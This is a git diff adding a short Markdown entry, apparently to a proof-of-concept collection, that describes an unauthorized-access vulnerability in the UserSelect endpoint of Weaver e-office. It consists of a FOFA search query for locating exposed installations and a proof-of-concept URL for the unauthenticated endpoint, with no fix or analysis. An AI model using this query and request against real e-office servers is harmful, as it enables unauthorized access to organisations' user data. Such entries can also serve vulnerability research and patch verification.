diff --git a/泛微e-office系统UserSelect接口存在未授权访问漏洞.md b/泛微e-office系统UserSelect接口存在未授权访问漏洞.md new file mode 100644 index 0000000..2492300 --- /dev/null +++ b/泛微e-office系统UserSelect接口存在未授权访问漏洞.md @@ -0,0 +1,14 @@ +## 泛微e-office系统UserSelect接口存在未授权访问漏洞 + +## fofa +``` +app="泛微-EOffice" +``` + + +## poc +``` +http://127.0.0.1/UserSelect/ +``` + +![image](https://github.com/wy876/POC/assets/139549762/5c2fb92c-b176-47d3-a038-ea861d8a1d30)